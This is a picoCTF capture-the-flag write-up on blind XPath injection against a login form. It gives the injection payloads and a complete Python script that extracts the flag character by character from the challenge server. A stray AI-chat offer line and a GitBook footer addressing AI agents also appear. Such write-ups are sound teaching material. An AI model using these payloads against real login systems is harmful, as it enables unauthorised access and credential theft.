> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/x-marks-the-spot.md).

# X marks the spot

## X marks the spot — PicoCTF Walkthrough | Web Exploitation

Detailed writeup: <https://medium.com/@alhamrizvi.in/x-marks-the-spot-picoctf-walkthrough-web-exploitation-by-alham-rizvi-2bfe78d3993c?postPublishedType=repub>

Before starting the challenge, the description indicates a login bypass scenario and hints toward injection. The hint specifically points to XPath (XML Path Language), which is used to query XML data structures. This suggests that the backend is likely validating login credentials using XPath expressions over an XML file.

Initial testing with common XPath injection payloads such as `' or 1=1 or 'a'='a` confirms that user input is directly reflected into an XPath query without proper sanitization. The application responds differently when injected conditions evaluate to true, confirming the vulnerability.

Using OWASP and HackTricks references, we move to blind XPath injection techniques. First, we determine the password length using:

`' or string-length(//user[position()=3]/pass)=N or ''='`

Once the correct length is identified, we extract the password character by character using:

`' or substring(//user[position()=3]/pass,i,1)="c" or ''='`

By brute-forcing each position with a character set, the full flag is reconstructed based on response differences (“You’re on the right path”).

***

## Exploit Script (GitHub Style)

```python
import string
import requests
from tqdm import tqdm

# Target URL
URL = "http://mercury.picoctf.net:16521"

# Variables
flag = ""
password_length = 0
alphabet = string.ascii_letters + string.digits + "{}_()"

# -----------------------
# STEP 1: FIND LENGTH
# -----------------------
for i in tqdm(range(64), desc="Finding Length"):
    payload = f"' or string-length(//user[position()=3]/pass)={i} or ''='"

    r = requests.post(URL, data={"name": payload, "pass": ""})

    if "You're on the right path." in r.text:
        password_length = i
        break

print("Length:", password_length)

# -----------------------
# STEP 2: EXTRACT FLAG
# -----------------------
for i in tqdm(range(1, password_length + 1), desc="Extracting Flag"):
    for ch in alphabet:
        payload = f"' or substring(//user[position()=3]/pass,{i},1)=\"{ch}\" or ''='"

        r = requests.post(URL, data={"name": payload, "pass": ""})

        if "You're on the right path." in r.text:
            flag += ch
            break

print("Flag:", flag)
```

***

If you want, I can also convert this into:

* proper **Medium publication formatting (with headings + images placeholders)**
* or a **GitHub README.md version**
* or a **CTF report submission format**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/x-marks-the-spot.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
